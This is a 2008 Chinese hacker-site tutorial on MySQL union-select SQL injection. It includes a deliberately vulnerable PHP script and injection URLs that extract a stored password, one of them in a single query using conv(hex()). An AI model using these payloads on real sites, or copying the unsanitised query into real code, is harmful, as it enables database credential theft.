黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑客常识 >> 正文
·Union查询注入技巧07-07·服务中国提供最大2G全能07-07
·六方法搞定系统终止操作07-05·诚信联合提供100M/ftp免07-05
·Server Application Err07-04·Serv-U“无法连接到服务07-04
·批量删除Word中回车的方07-04·把脉问药 让硬盘摆脱五大07-04
·绿色高效 Win+R启动常用07-04·幻宇科技提供100M/ftp全07-04
·几秒钟破解任意MD5值(附07-03·让Windows  2008共享访问07-03
·拍拍乐提供无限免费相册07-03·易生网络科技提供50M-1G07-03
·设置策略 让Windows 20007-02·与时俱进 让IE8也用上狗07-02
·受益无穷 学会任务管理器07-02·Fileupper提供免费文件存07-02
·Overpic提供免费图片文件07-02·Microsoft IE location及07-01
·Oblog最新注入漏洞分析07-01·涂鸦网提供的免费图片存07-01
·爱我啦提供免费域名转向07-01·中意互联为您你提供200M07-01
·利用App Engine架设自己06-30·风讯7月份最新注入漏洞利06-30
·TP-Link TL-WR541G+ 无故06-30·不许动我的IE,系统DLL修06-30
[推荐]Union查询注入技巧
        ★★★★

Union查询注入技巧

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-7-7 9:11:40
相信大家在注入中没有少用联合查询吧,呵呵。的确union查询是很方便的,不用一个字符接一个字符的猜了,大大提高了生厂力,然而又因为它的条件要求很 多时候并不能完全满足,每每那个时候就只有看着注入点,嚎吼一声,带着满脸悲愤开始使用最原始的方法。当然,条件不允许我们也没有办法,然而有些时候却是 自己的马虎导致高效率的联合查询方法不被采用,这可不符合“三代表”中的“代表最先进的生产力”啊。以下要说到的就可能是其中一种情况。^_^(相信很多 朋友都已经知道了,只是我在网上没有看到吧,这儿提出来且当自己消遣自己,扯淡为主)
mysql> select * from test;
+------+----------+----------+
| id     | username | password |
+------+----------+----------+
|    1 | admin      | admin888 |
+------+----------+----------+
1 row in set (0.03 sec)

test.php:

以下是引用片段:
<?
$id=$_GET[’id’];
$lnk = mysql_connect(’localhost’, ’root’, ’root’) or die (’Not connected : ’ . mysql_error());
mysql_select_db(’test’, $lnk) or die (’Can\’t use foo : ’ . mysql_error());
$query = "SELECT count(*) FROM test where id=$id";
$result = mysql_query($query);
while($result_row = mysql_fetch_row($result))
{
    if(($result_row[0])&&is_numeric($result_row[0])){
         echo $result_row[0];
      }
}
?>   

大家都知道在联合查询中不但前后列数要相等,类型也要一样。那么在这个注入点中,前一查询返回值类型应该是数字型,而我们要想用联合查询得到类型为text的password,应该怎么办呢?
其实我们可以先查出密码长度:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20length(password)%20from%20test%23
返回结果为8。OK,再来:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20ascii(mid(password,1,1))%20from%20test
返回的结果为password的第一位的ASCII码值,接下来将每一位都查出来就OK了。
然而其实我们有更方便的方法,嘿嘿,一次查询就够了。
我们提交:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20conv(hex(password),16,10)%20from%20test
返回7017854418938247224。转换为16进制为0x61646D696E383838,它就是“admin888”的十六制咯。哈,原理就不说了,相信大家都明白了。
测试中不用conv函数转换一下类型会不匹配,汗,不知嘛原因。
Ok!

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886